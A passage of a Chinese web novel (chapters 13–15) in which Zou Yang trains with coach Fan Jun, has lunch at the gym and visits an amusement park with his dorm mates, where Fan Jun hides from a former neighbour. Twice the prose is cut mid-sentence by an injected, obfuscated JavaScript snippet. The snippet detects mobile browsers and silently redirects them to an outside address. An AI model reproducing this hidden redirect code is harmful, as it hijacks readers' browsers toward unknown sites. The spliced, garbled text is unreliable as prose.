“没正经学,”邹飏说,“高中的时候我总去的健身房有个教练以前练过,跟他随便学的。” “谦虚了。”樊均说。 “我认为你在讽刺我啊。”邹飏看了他一眼。 “没有,”樊均站了起来,手伸到他面前,“就刚才的进攻,给你纠正点儿细节吧。” “嗯。”邹飏抓着他的手站了起来。 老妈说得没错,樊均上课很细,也很有耐心,邹飏有些不够标准的动作已经形成了肌肉记忆,练着练着就会习惯性出错…… 这要换了吕泽……邹飏想像了一下,说不定能当场再打起来。 不,是自己可能当场要挨揍。 但樊均的情绪相当稳定,一遍一遍纠正,再重复,再纠正,再重复,邹飏都不耐烦了他也没什么波动。 加上樊均给他示范时漂亮的动作,很有助于稳定学员情绪。 赏心悦目的。 一小时没什么感觉就滑了过去。 “珊姐说你中午过去吃饭?”樊均问。 “嗯。”邹飏打开更衣室的柜子,拿出自己的衣服和包。 樊均看了一眼时间:“可以晚点儿过去。” “怎么?”邹飏看着他。 “……吕泽吃得快。”樊均说。 “那现在就过去。”邹飏穿上外套拿上包就往外走。 樊均一把抄住了他的胳膊。 “放心,”邹飏说,“我已经消气儿了,我只是不想避着他。” 樊均看着他没说话。 “我又打不过他。”邹飏又说。 “你骂得过他。”樊均说。 “操,”邹飏靠到柜子上笑了起来,“我不骂他,再怎么得给吕叔面子,也得给我妈面子。” “嗯。”樊均松开了他的胳膊。 走出更衣室的时候,邹飏看到了正在上课的谭如,他凑到樊均右耳边小声说:“哎,我那个同学是真想报谭教练的课。” “可以,”樊均说,“她刚来,学员少,时间比较好安排。” “她教学水平怎么样?”邹飏问。 “教你那个同学应该不需要什么教学水平,”樊均说,“你都可以。” 邹飏沉默了几秒:“你这攻击性挺强啊樊教练,一骂骂俩。” “……没。”樊均说。 邹飏手机连续响了几声,他拿出手机看了一眼宿舍群,平时宿舍群他都免打扰,这帮人一星期都泡一块儿,过个周末还要跟网恋一样聊个不停,非常吵。 这会儿是三个人一块儿@邹飏。 【李】帮问问樊教练上不上团课,我和文瑞 【刘】帮问问樊教练上不上团课,我和知越 【张】帮问问樊教练上不上团课,知越和文瑞 【邹】你们凑什么热闹 【李】樊教练昨天把你镶墙上实在太帅了 邹飏顿时有些无语,直接低声回了个语音:“他什么时候把我镶墙上了!” 本来看着前方的樊均突然微微偏了偏头。 “嗯?”邹飏立马转脸看着他。 “没。”樊均说。 “能听见?”邹飏问。 “……你在我右边。”樊均说。 邹飏把手机塞回了兜里。 说实话,虽然樊均把他镶墙上这个场景他没看到,唯一的实感是樊均靠近他说话时微微带起了耳边空气的低沉嗓音。 但能想象得到。 周末的白天,商场比平时稍微有了那么一点儿活力,店铺里不见得有什么人,但在商场里遛达的人多了一些,中间的空地还有几个阿姨在跳舞。 邹飏刚想问狗带过来了没,就看到旁边舞蹈教室的门里探出了一个黑色的狗头,戴着嘴套,眼睛很亮地盯着他。 有杀气! 他顿时就停下了脚步:“你……要带小白回去吗?” “不带,我下午还要过来上课。”樊均冲小白打了个手势,小白的脑袋立马就从门缝那儿缩了回去。 “平时狗都在别人店里吗?”邹飏问。 “不一定,”樊均说,“蓉蓉在的时候会把狗带过去。” “蓉蓉?”邹飏愣了愣。 “舞蹈室的……主理人。”樊均说。 “……这么洋气,”邹飏笑了,“你们这儿开店的是不是相互都认识?” “旁边几家的差不多,”樊均说,“别的不熟,换得挺快的。” 生意还是不行。 说到生意……邹飏就有点儿想打听一下老妈的“投资”情况,但又不太开得了口,这种事儿不回家问妈妈问外人,怎么说都有点儿奇怪。 琢磨了半天,感觉还是打听樊均工资听着更合理些。 “你每月工资多少啊?”邹飏问。 “啊?”樊均愣住了。 邹飏这会儿才反应过来问得太突然,毕竟自己这个心路历程没有同步给樊均。 “就是……”他犹豫着要怎么让这句话显得不那么突兀。 “不固定,”樊均直接回答了,“四五六七千吧。” “四五六七……不固定归不固定,你这也过于浮动了吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548656|169504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邹飏说。 这个工资说起来也不低了,跟樊均接触这么几回,邹飏感觉他平时似乎也没有什么花销,应该能攒下些钱,为什么助听器坏了就没再买呢? ……所以养狗花销这么大吗! “这俩月还没拿工资呢。”樊均说。 “为什么?”邹飏马上问。 “新馆超预算了,”樊均说,“我和吕泽都没拿,别的教练正常算钱。” 邹飏皱了皱眉,开始有些担心老妈的钱。 “珊姐的钱,”樊均说,“吕叔还没动。” “嗯?”邹飏猛地转过头。 “是担心这个吗?”樊均也看着他。 “……说不担心肯定是骗你的。”邹飏有些尴尬。 “新馆是吕泽一定要开的,”樊均说,“吕叔怕有风险,就一直没动珊姐的钱,怕亏了,不过具体有多少我不清楚。” “吕泽不知道是吗?”邹飏问。 “嗯。”樊均点点头。 “吕叔还挺……”邹飏一时没找到合适的词。 “也不是……”樊均停下来想了想,“钱有需要的时候总会用的,要不珊姐也会有想法,毕竟决定了要一起生活。” “嗯。”邹飏应了一声,“比如什么时候?” “比如武馆倒闭的时候。”樊均说。 “……我操,”邹飏听笑了,“吕叔知道你这么说吗?” “不知道。”樊均勾了一下嘴角。 旧馆这边儿中午挺热闹,对于某些年纪小的学员来说,除了强身健体,这儿一到周末,还能起到一个托管班的作用。 听樊均说,伙食费就是意思意思,至于托管费,那是没有的。 这大概也是吕泽想要开个新馆的原因,武馆在这里年头很长了,邻里邻居的都相互看着长大的,当年一直延续下来的这些传统,很难改变。 今天不吃饺子,灶上是两大锅炖菜,排骨豆腐和猪肉粉条,那边吕叔还在烙油饼,猴儿站在锅边守着,他后头还有几个馋得眼睛都直了的小孩儿。 他要不守那儿,估计烙一张就得没一张。 “来啦,”老妈转头看到他俩进来,笑了笑,“上完课了?” “嗯。”邹飏走到她身边。 “把这两锅端过去吧,”老妈指挥他,“拿个布垫着,烫。” 邹飏看了看案台,也没看到哪儿有布,于是甩了甩手,用外套袖子垫着,把锅端了过去。 “哎哟你可真行衣服不要了是吧!”老妈在后头说。 回过头准备端那一锅的时候,他发现樊均用两块布垫着把锅端过来了。 “哪儿找的布?”他忍不住问。 “台子上。”樊均说。 “我是瞎了吗?”邹飏说。 “没吧,”樊均说,“你都看到我拿着布了。” 邹飏顿了顿,没忍住笑了起来,笑一半一抬眼,瞅见了长桌那头坐着玩手机的吕泽,立马就笑不出来了。 厨房里这会儿四五个小孩儿,又是锅又是灶的,樊均过来之前,就猴儿一个半大小猴儿管着他们…… 也许是觉得这些小孩儿本来就不该出现在这里,总之他就完全没有帮着管一下的意思。 吕泽应该是感应到了他的视线,或者本来就没在玩手机,毕竟昨天刚干过仗,这会儿抬眼跟他对上了。 邹飏看了一眼他的脸,可能是因为吕泽皮肤黑,昨天躲得也快,自己那一拳只留下了一个不太明显的痕迹。 他本来不想再跟吕泽有什么冲突,起码是眼下这种场景,但吕泽似乎跟他想法不一致,就那么盯着他,眼神里对他的厌恶一点儿都没掩饰。 还真是不打算给自己亲爹一点儿面子啊? 既然吕泽这么不配合,他也就不打算回避了。 正往吕泽那边儿盯呢,樊均很突然地站在了他面前,几乎脸对脸,呼吸都扫他脸上了。 “都坐好。”樊均看着他说了一句。 嗯? “坐好坐好……”几个小孩儿都跑到桌边坐下了。 “……我洗手。”邹飏说。 “嗯。”樊均应了一声,并没有从他和吕泽的视线中撤离。 邹飏只得转身,去洗手池那儿洗了个手。 回到桌子旁边时,那头的吕泽已经没坐着了,拿了碗正站锅旁边盛菜。 邹飏刚坐下,樊均就把装着饼的小筐递到了他面前。 “我一会儿的,”邹飏说,“我……” “拿。”樊均说。 邹飏看了他一眼,伸手拿了一个。 樊均把筐放回桌上,下一秒一群手就伸了过去,筐里的饼瞬间没了。 “我靠。”邹飏小声说了一句,把饼放到碗里,伸手想夹点儿羊肉。 手刚一伸出去,老妈就开口了:“你手怎么了啊?” 邹飏没说话,一时半会儿没想好在这个虽然还有倒春寒但总体来说春暖花开的日子里他手腕是怎么会被冻伤的。 对面正要走开的吕泽停下了,眼神里的震惊都没藏住。 被自己的实力震惊了吧冠军。 寒冰掌大功已成啊冠军。 14.第 14 章 14 樊均跟着也往邹飏手腕那儿扫了一眼。 其实外套袖口下露出来的手腕只有一小截儿,如果不是珊姐正好也要夹菜,正常情况下是注意不到的。 “没事儿,”邹飏飞快地夹了块儿肉放到自己碗里,“就是……” 就是什么,估计邹飏并没有想好,就是完还往他这边儿看了一眼。 “……我抓了一下,”樊均只能随口胡说八道,“今天训练的时候。” “你使这么大劲儿?”吕叔愣了。 “有吗?”现场目击猴儿低头陷入了回忆,几秒钟之后他抬起头,“你也没抓……” “就……”樊均看着猴儿,“他被我别腿摔后面……” “他还被你……哦,”猴儿是个很机灵的猴儿,立马反应过来了,“对!就那会儿,他倒的时候你拽了他一下,还甩了他半圈儿……” “……我没有。”樊均说。 “反正就是失误了。”猴儿给他下了判决书。 “没事儿,”邹飏总算开口,“没什么感觉,就是看着吓人。” “一会儿我给你拿点儿药水擦擦。”珊姐说。 “嗯。”邹飏点点头。 “以后当心点儿,”吕叔说,“邹飏虽然有点儿基础,但跟老学员还是不一样的……” “嗯。”樊均点头。 那邹飏还是比不少老学员强的。 吕泽什么也没说,脸色不是很好,还带着一丝困惑。 但樊均知道他不会来问。 只能强行默认邹飏吹弹得破。 大概是今天练得挺透,邹飏可能是饿了,吕叔烙的油饼似乎比老妈烙的更香一些,炖菜也很香,加上几个小孩儿边吃边聊,热闹得谁也插不进去话,他都不用强行找话题,只需要埋头一通吃。 感觉自己的胃被撑得很光滑。 吃完饭几个小孩儿在猴儿的带领下开始集体洗碗活动,看上去很惊险,邹飏怀疑武馆厨房里没有两个一样的碗就是因为这个环节。 他靠在椅子上,拿出手机想问问宿舍几位下午什么安排。 群里还挺热闹,三个人正聊五一假期怎么玩,大一的时候哭天儿喊地恨不得周末都要想辙回家,现在一有假就琢磨着玩。 他正打字呢,刘文瑞电话打了过来。 “嗯?”邹飏接起电话。 “你看群里了吗?”刘文瑞问。 “正看呢,”邹飏说,“怎么了?” “我们的计划,有没有什么意见。”刘文瑞说。 “没意见。”邹飏不知道他说的是什么计划,他根本没来得及细看。 “你肯定没看,”刘文瑞在某些方面还是很了解他的,“那就定了啊,一号打麻将,二号游乐园,三号爬山……” “等等?”邹飏震惊了,“一号干嘛?” “打麻将,”刘文瑞说,“错峰出行嘛,他俩刚学会,瘾大,咱俩一次性给他们打戒了。” “……三号爬什么山?”邹飏挣扎着继续问。 “统共几个山!你是不是本地人!”刘文瑞说,“别打岔,听我说完的!三号爬山,四号去拍艺术照……” “什么?”邹飏声音都扬起来了。 “五号去博物馆。”刘文瑞也提高声音坚持说完了。 “五号不如去医院给你们几个看看脑子。”邹飏说。 虽然邹飏极度不能忍受这个假期的安排,这帮人从家里骗了出去旅行的钱,但只打算在市里周边浪浪。 还浪得这么别致。 但如果不去,他也实在不知道这几天能干点儿什么。 挂了电话之后他靠着椅子长长叹了一口气。 樊均转过头:“怎么?” “没,”邹飏实在不知道要怎么给人介绍这个五一行程,他随口问了一句,“武馆五一休息吗?” “不休,轮流上班,”樊均说,“你要上课吗?” “……不上。”邹飏说。 “哦,出去玩?”樊均问。 “嗯。”邹飏点点头,没再说下去。 莫名其妙的,就很正常地拒绝了教练的上课邀约而已,不知道为什么突然有点儿不是滋味儿。 历年来各种大小长假,其实邹飏基本也都是跟同学一块儿过的。 比起出门人挤人,老妈更愿意在家休息,他高中之前老妈会带他出去买点儿东西吃个饭,而老爸…… 现在想想,每次放假都依旧忙于工作的老爸,应该是在陪闺女吧。 “给你转点儿钱吧,”老妈拿出手机,“你们在市里玩儿也得吃喝啊。” “我……”邹飏本来想说他有,但犹豫了一下还是点了点头,“给我五百吧。” “够吗?”老妈问。 “够了,今天都不花钱,”邹飏说,“今天在刘文瑞家打麻将,还能赚点儿。” 老妈愣了愣才反应过来,笑着说:“这怎么想的。” 的确不知道怎么想的,不过也没所谓,反正邹飏也没什么计划,没有特别想做的事,没有特别想去的地方,也没有特别想见的人。 这一天麻将,在邹飏和刘文瑞的通力合作之下,两位麻坛新秀输了整整一天,还没有冉冉就坠落了。 相比之下第二天的游乐园之行就显得有趣多了,还省钱。 刘文瑞照例开了他家的车,水平并没有提高,开得犹犹豫豫,混在一堆不熟悉路的外地车牌中非常融洽,一看就是外地来了刚租的。 “叫上樊均吧。”刘文瑞开到一半突然没头没尾地说了一句。 “什么就叫上他?”邹飏愣了。 “前面岔路转过去不就南舟坪了吗?叫上他,”刘文瑞说,“去游乐园,那个拳击机,之前你打800分的那个,让他去打。” 刘文瑞这个得到了后排二位强烈赞同的建议非常莫名其妙,虽然邹飏也莫名其妙有点儿想跟着赞同,但…… “……这么无聊的安排你怎么好意思说出口?”邹飏说。 “那个机子绝对有问题,”刘文瑞说,“必须找个高手去试一下。” “神经病吧。”邹飏半天才想起来那个机子,当初他们三个打了半天也没一次超过650分,于是坚信那个机子被做了手脚。 还耿耿于怀了一年。 全然忽略了邹飏好歹也打了个800分。 现在可算是让他们碰上了个樊均。 跟初中的时候刘文瑞拉着学射击的同学去公园打气球一个思路。 报仇的机会来了。 不过刨去这个无聊的环节,出去玩的确是人越多越有意思。 只是……他低头看了看手机,顺手点开了樊均的朋友圈。 今天樊均没发过朋友圈,他平时的频率也就是一周三五条的,发发武馆的广告和他的狗,现在也发发猫。 邹飏点开聊天框,手指在屏幕上虚空划拉着,不知道要怎么说。 他跟樊均似乎也没有熟到一声招呼就出去玩的程度,当然,他是没所谓的,樊均怎么想他不确定。 “直接打电话,别发消息了,”李知越说,“马上到路口了!” “赶紧的。”张传龙踢了椅背一脚。 “这是我家的车不是滴滴!收好你的破脚!”刘文瑞骂完又跟了一句,“邹飏你打个电话问问。” 邹飏被他们催得飞快点开了通话记录,拨了樊均的电话。 “喂?”樊均的声音传出来,听着像是在武馆。 “你在武馆吗?”邹飏问。 刘文瑞指了指导航,还五百米到路口。 没等樊均回答,他又问了一句:“今天有课吗?” “没,”樊均说,“怎……” “我们马上到商场。”邹飏打了个手势,刘文瑞把车开进了右转道。 这回刘文瑞直接把车停在了商场正门的停车场上,打死不走小路去后门了。 “你们在这儿等我。”邹飏下了车。 “不用我们一起去吗?”李知越说,“隆重点儿会不会显得有礼貌些?” “人要不想去,一帮人他都开不了口拒绝。”邹飏关上车门进了商场。 进了武馆,看到前台边靠着的人,他差点儿没认出来那是樊均。 宽松工装裤黑T,夹克没有帽子,戴了个黑色盆帽。 看惯了樊均运动服运动鞋加运动外套,猛地看到他非运动系装扮的时候,有种需要重新认识一次的错觉。 “没出去玩吗?”樊均问。 “去玩的路上,”邹飏也靠到了前台边,“路过这边儿,就想着叫上你。” “跟刘文瑞他们吗?”樊均又问。 “嗯,”邹飏点点头,“我们一个宿舍,平时基本都摽一块儿。” “是想……”樊均犹豫了一下,“叫上谭如吗?” “我操,”邹飏吓了一跳,赶紧摆了摆手,“没没没,张传龙没别的心思,他只是单纯很欣赏战神类型的女孩儿。” “哦,”樊均笑了笑,又问了一句:“去哪儿?” “我们今天的计划是去……游乐园。”邹飏说完看着樊均。 樊均没有什么表情,只是微微皱了一下眉,看不出来是在思考还是在鄙视当代大学生商量半天就决定五一去本市游乐园这样的行程。 给大学生丢人了。 “好。”樊均说,那一下皱眉似乎并不是在鄙视。 “那……现在走?”邹飏问,“你还有事儿吗?” “没,我没事儿就在这儿待着而已。”樊均走到训练区门口看了看,猴儿立马蹦着就过来了,他给猴儿交待了几句,“有事儿打我电话。” “嗯。”猴儿应了一声又蹦着回去了。 游乐园。 没去过。 甚至不知道游乐园在哪儿。 如果不是邹飏人都已经到了才跟他说,哪怕提前两小时,他可能都会拒绝。 游乐园本身不会让他有什么不安,离开南舟坪会。 但他其实是想去的。 那种普通的,没有特别计划的,说走就走了的,跟朋友出去 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不知道是多小的时候的点心,他被丽婶儿接回家之前,没吃过任何零食和点心,后来吃得也不多,吕叔家经济条件也不算好,这几年才有点儿起色…… 如果走路的话,南舟坪挺大的,但如果开车,也就不到半小时就离开了那个仿佛落后了这个城市二十年的街区。 樊均看着车窗外繁华的街景和纷杂的车流,有种穿越到了另一个世界的感觉,新奇而不安。 车停在了点心店对面的停车位上,下车就能看到对面排着队。 不过毕竟已经开业一段时间了,人不算多。 “十二个人,应该挺快,”排队的时候邹飏迅速数了一下,然后拿出手机点开了宣传页面,递到樊均面前,“先看看要吃什么。” 樊均凑过去看了看:“我都行。” “没有这玩意儿,”邹飏说,“我请客,不吃白不吃。” “这个和这个。”樊均指了指一个梅花形状的小蛋糕和一个绿色的不知道什么糕,这些“小时候”的点心,没一样他见过的。 “嗯,”邹飏回头,“你们呢?” “每样都来俩尝尝吧。”刘文瑞说。 “死开。”邹飏说。 很快就轮到了他们,邹飏把大家挑的点心都点了。 等着店员装盒的时候,一个姐姐挤到了他们旁边:“你们那个绿豆糕还有吗……” “排队。”邹飏说。 “我不是插队,”姐姐笑着看了看他俩,“有的话我就去排队了。” “哦。”邹飏应了一声。 “还有的。”店员回答她。 “哦好。”姐姐说完退开了一些,但并没走开,又往他俩这边看了一眼。 邹飏转头也看了过去,樊均在这时突然转身:“我车那儿等你们。” 没等邹飏说话,他已经大步地走开了。 “不好意思,”姐姐犹豫着往樊均那个方向迈了一步,又退了回来,“同学,我问一下,刚那个同学,他姓什么啊?” 邹飏没有马上回答,接过店员递来的袋子,看着她,脑子里各种疑问来回蹦着。 “是姓樊吗?”姐姐又问。 邹飏心里跳了跳,感觉有点儿不对,他回头看了一眼,樊均已经不见了。 “不,他姓邹。”邹飏说。 “姓邹啊……”姐姐又往樊均走的方向看了一眼,“我还以为是我认识的人呢。” “那估计不可能,”刘文瑞胳膊往邹飏肩上一搭,“我们这同学外地过来旅游的。” “这样啊,”姐姐笑了笑,“那是我看错了,太久了记不清,不好意思啊。” “没事儿。”邹飏扯着嘴角也笑了笑。 几个人过街的时候一直沉默的李知越才开了口:“我操,还好我们有默契没抢答……怎么回事儿?” “不知道。”邹飏往车那边看了一眼,没看到樊均。 “我更不知道了,”刘文瑞说,“邹飏说樊均姓邹,那肯定是不想他被认出来……” 樊均没在车旁边,邹飏往四周看了看,也没看到他的身影。 正想打电话,他手机响了一声。 樊均发过来的,就俩字儿。 超市。 “你们上车等一会儿。”邹飏说完往停车位斜前方的超市走了过去。 超市不大,邹飏进去转了小半圈就看到了在最里头一排货架前站着的樊均,盆帽的帽檐都快拉到鼻尖上了。 “怎么了?”邹飏站到他旁边,“你认识她吗?” “她问你什么了吗?”樊均偏过头问。 “问你是不是姓樊了,”邹飏说完就看到樊均嘴唇猛地抿了抿,他赶紧又追了一句,“我说你姓邹,刘文瑞说你是外地过来旅游的。” “……哦。”樊均轻轻舒出一口气。 “没事儿吧?”邹飏看着他,没忍住伸手把他帽檐往上抬了抬,“小邹?” 樊均笑了笑:“以前邻居家的姐姐。” 15.第 15 章 15 以前的邻居。 见了以前的邻居不打招呼,甚至在不确定对方有没有认出自己之前就先一步逃走了。 还躲得这么隐蔽。 邹飏无法猜测樊均这样反应的原因是什么,但很明显不是什么愉快的事儿,他一时也不知道往下该说什么了。 “她走了吗?”樊均问。 从超市的玻璃幕墙其实就能看到对街那个点心店,樊均却一直背对着那边,头都没回过一次。 “我看看。”邹飏说。 樊均第一时间抬了抬胳膊,想要阻止他往窗边去。 不过邹飏也没打算过去,如果真要假装不认识,自己这会儿再跑窗边去观察,万一被对面那个姐姐看到,立马会露馅。 多年在老爸面前装样子的经验让他并没有选择过去看,只是拿出手机对着那边有些模糊的队伍拍了张照片,然后再放大了仔细看了看。 “正在买绿豆糕了,”他说,“应该马上就走了。” “嗯。”樊均点点头,没有动。 邹飏心里很不踏实,他认识樊均的时间并不算长,但就这点儿时间里,无论是找人麻烦,还是开车的时候给人竖中指……虽然更多的时候都是情绪稳定的状态,总之都跟眼前的樊均不太对得上号。 现在樊均的紧张和不安都已经身体里溢了出来,无意识摸在货架上的手指似乎都有些发抖。 邹飏盯着那边买绿豆糕的姐姐,店员绕到了货架那头盯着他俩。 不过樊均没动,他就也没动。 场面很诡异。 “她走了,”邹飏说,“买完直接走的,没有往这边看。” “嗯。”樊均微微晃了晃,感觉得到他松了口气。 “需要帮忙吗?”店员终于忍不住开口。 “有……”邹飏转头看着店员,也不知道为什么就问了一句,“黄桃罐头吗?” “有的,”店员点头,“这边儿。” 邹飏跟店员去拿罐头的时候,樊均还站在那儿没动,邹飏看到另一个店员过去接了班,继续盯着这个不买东西就光杵那儿脸还用帽子遮了一半的可疑顾客。 “还要别的吗?”店员看着邹飏手里的黄桃罐头。 的确是有点儿可疑了,可疑人员被店员识破之后只买了一个罐头。 于是邹飏顺手指了指旁边的电烤架:“再拿五个烤肠。” 反正车上那几位随时随地都能往胃里塞东西。 刘文瑞发了个消息过来。 -没事吧?停车费还没有交你俩别跑 邹飏笑了笑。 -马上 结完帐,樊均似乎是缓过来了,走到了邹飏身边,看到他手里的罐头时愣住了:“买这个干嘛?” “不知道,”邹飏从烧烤架旁边拿了几根签子递给他,一边拧罐头盖子一边说,“感觉你需要吃一口这个。” 樊均抬了抬头,从帽檐下看着他。 今天还算争气,罐头盖子被顺利拧开了。 樊均犹豫了一下,用签子戳了一块桃出来。 “逃了。”邹飏顺嘴讨了个口彩,老妈很喜欢这样,盘子碎了说岁岁平安,筷子掉了说快乐…… 樊均没说话,沉默地吃着桃。 咽下了这一口之后才说了一句:“邹飏,谢谢。” “别瞎客气,”邹飏把罐头盖好,往超市门口走,“你吃一块儿就行了,要不冠军又得盯着你减重,这玩意儿齁甜的,我都怀疑配料表上白砂糖要排水前头了。” 樊均笑了起来。 刚才到底是怎么回事儿,邹飏没有多问,樊均就算愿意说,也不可能现在就这么说了,毕竟气氛和场景都不合适。 回到车上,几个人也都没多问,只是对罐头和烤肠表示了热烈欢迎。 一路上樊均的话不太多,基本都是邹飏他们几个在胡侃,但看上去樊均的情绪已经慢慢回来了一些。 这事儿一闹,他们到了游乐园才想起来樊均的票还没买。 “窗口排队太多人了,”刘文瑞说,“还是在线上买吧。” “嗯,”邹飏拿出手机,看了一眼樊均,“你带身份证了吗?” “带了,”樊均往入口那边看了看,“先不急,我过去问问的。” “什么?”邹飏愣了愣。 “说不定还不用排队。”樊均说。 “为什么?”邹飏问。 樊均笑了笑没说话,转身往入口走了过去。 入口排着队往里走的人也不少,樊均直接走到一个工作人员旁边,跟人家说了两句,然后从兜里掏出了一张看着跟身份证差不多的卡片。 工作人员看过之后点点头,把旁边一个小门打开了。 樊均就那么连队都没排,直接进去了。 “我操?”张传龙震惊了,“这是什么操作?” “……不会是残疾证吧?”刘文瑞说。 “走。”邹飏往入口走过去。 肯定是残疾证。 不太应该,但邹飏有点儿想笑。 “我们这儿游乐园还挺仗义,都不是优惠,直接免票啊。”李知越说。 “他还挺没所谓的。”张传龙说。 “他生活都没怎么受影响,还那么能打,当然没所谓。”刘文瑞说。 虽然刘文瑞这话逻辑有点儿跳跃,但邹飏觉得,也差不多是这么个意思。 他们四个在入口排着队挨个进了游乐园,樊均已经跟几个阿姨一块儿坐在门口休息区的长椅上等着了。 一副等了挺长时间的样子。 “我靠,快,”刘文瑞伸着手就冲他去了,“我看看。” 樊均起身从兜里拿出了那张卡片给了刘文瑞。 几个人立马凑过去看了起来。 还真是残疾证。 虽然邹飏很清楚,虽然他刚才看樊均拿这个证免票还走了快速通道的时候还想笑来着,但实打实看到这几个印在卡片上的字时,还是有些不是滋味儿。 “你这照片还拍得挺帅。”李知越说。 樊均笑了笑没说话。 “这是新版的吧?”刘文瑞说,“以前我们看到的那些不都是小本儿嘛。” “嗯,刚换的。”樊均说。 邹飏看着卡片上的信息,只有姓名,发证日期,二维码和一个编号,他也看不出樊均的听力到底是什么情况。 “这个……怎么看?”邹飏问。 “看末两位,”樊均指了指编号最后,“这个2是听力,最后这个3是等级。” “哦。”邹飏点点头。 这个游乐园挺有年头了,邹飏小时候就有,他小学毕业之后就不太来了,上回来就是大一的时候跟宿舍的人一块儿…… “先去那个。”张传龙说。 “对,先去报仇。”刘文瑞点头。 “哪个?”樊均问。 “我们宿舍的仇人。”李知越说。 “不是我的。”邹飏说。 樊均没来过游乐园,吕泽也一样,出去念书之前他俩都差不多,吕叔和丽婶儿很忙,没什么时间带他们出去玩。 这会儿眼前是游乐园里乌涣涣的人群,耳朵里是混乱嘈杂的各种声音,看到和听到的都很陌生,他甚至有些头晕。 还没完全适应这样的场面,樊均就站在了一个拳击机前,几个小伙儿正对着机子抡膀子。 哐哐砸。 这玩意儿他倒不陌生,商场那边的游戏厅和酒吧里都有,他没玩过。 这台机子满分900,这会儿几个人打了一轮,最高的800出头,是个看上去常年健身的大哥。 刘文瑞去换了一把币过来,投了一个,然后转头看着樊均。 “嗯?”樊均愣了愣。 “打一拳看看实力。”刘文瑞说。 “你先示范一个。”邹飏说。 “嗨,”刘文瑞笑了,“行,我先丢人一个。” 樊均看着他进行了长达十秒的准备动作。 活动脖子,活动肩膀,左右各三圈扭腰,然后一拳砸出去,以上部位一个也没用上。 打了个600。 “操。”他简短地总结,回头走向樊均,把手里的币往他面前一摊,“给。” 樊均拿了一个,走到机子前投了币。 “看我哥们儿给它打爆了。”张传龙说。 这句话出来,旁边的人都看了过来。 相比刘文瑞,樊均几乎没有多余的动作,过去看了一眼机子上的拳靶,然后一拳砸了过去。 速度很快,都没感觉到他发力。 拳靶嘭的一声响过之后,显示器上的数字开始飞速跳动,直接到了900。 机子里传出了欢呼和音乐声。 旁边的人跟着也叫了好,一个大哥说了一句:“练拳的吧?” 樊均没出声,转身走了回来。 酷。 根本没听见。 “是,教练。”李知越点点头。 一方面替樊均回答,一方面得意的表情仿佛他是樊均的同事。 “看来机子没问题?”刘文瑞皱着眉捏了捏下巴,看着樊均,“怎么打的?你教我一下我再打一拳。” “你……得转髋,然后……”樊均看着他半天,用手在他背上戳了戳,“背和肩……” “哎嘿嘿嘿嘿……”刘文瑞背过手边乐边挠地躲开了。 “我试试。”邹飏抓过刘文瑞的手,从他手里拿了个币。 发力方式其实他是知道的,打也是这么打的,所以分也应该提高不到哪儿去,毕竟樊均出拳的那个速度,真不是说一句就能达到的。 他对着拳靶砸了一拳,以尽量快的速度。 ……比去年略有提高,820。 “可以啊,就上了一节课,”张传龙说,“提高了20分。” “你这宣传词……让樊均给你打钱吧,”邹飏说,“你们去把剩下的币都打了吧。” “不打了,”刘文瑞说着就往换币那儿走,“丢不起那个人,我去退了,顺便把樊均的奖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558994|169504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品领了。” “还有奖品?”樊均问邹飏。 “有吧,你打爆分了呢,”邹飏拉了拉他袖子,“走,过去看看有什么奖品。” ……一个眼罩。 “这么……”邹飏看着这个眼罩,“抠的吗?” 几个人拿着眼罩笑了一路。 最后樊均还是把眼罩收到了兜里,毕竟是第一次跟朋友这么玩,还得了奖。 “先把刺激的项目玩了怎么样。”走在前面的张传龙回过头,声音挺大地问,“过山车什么的?” “行。”李知越点头。 “好。”樊均也应了一声。 “你耳朵没什么项目不能玩的吧?”邹飏多问了一句。 “没事儿,”樊均说,“不影响。” “过山车玩过吗?”邹飏又问。 “没,”樊均说,“这里头的我都没玩过。” “行吧,”邹飏点点头,“那今天都玩一遍。” 游乐园这个过山车挺早了,跟别地儿的比起来,不算刺激,就一个大转带俩小转,也不拧麻花,挺适合宿舍这帮容易心律不齐的。 马上轮到他们的时候,邹飏交待樊均:“抢第一排。” “嗯。”樊均点点头。 “神经病!”李知越骂了一句,“我要在后边儿,变态才在前头。” “变态,他海盗船都要坐船头,”刘文瑞说,“我们初中那会儿来游乐园,一半项目我都得跟他分开玩,玩得寂寞死了。” 轮到他们的时候,樊均跟邹飏正好在前面,直接进去就坐到了车头。 刘文瑞说是害怕,但其实也并没有很害怕,跟李知越坐在了第三排的位置,中间是张传龙和一个还没上车就已经把眼睛闭上了的大叔,上车都是张传龙给他扶上去的。 樊均转头看了看邹飏。 “怕就喊。”邹飏一挑眉毛。 “嗯。”樊均笑着应了一声。 这人大部分时间里都戴个帽子遮掉半张脸,邹飏这还是第一次这么清晰地近距离地在阳光下看清樊均鼻梁上的那道疤。 不算宽,但边缘不怎么整齐,不是刀伤,看着像是更钝一些的东西生生砸开的口子。 看得邹飏鼻梁一阵疼。 护栏放下来的时候樊均都没什么感觉,还能冲邹飏笑一笑。 但车开始往前移动的时候,他突然就紧张起来了。 笑都还挂脸上呢,直接就僵住了。 邹飏看上去倒是完全不紧张,不光不紧张,甚至在车开到尽头即将俯冲他嗓子眼儿都发紧的时候,吹了声口哨。 跟着他这声口哨,车头猛地往下一栽。 身后瞬间传来一片惨叫,伴随着耳边邹飏愉快的吼声。 果然很变态。 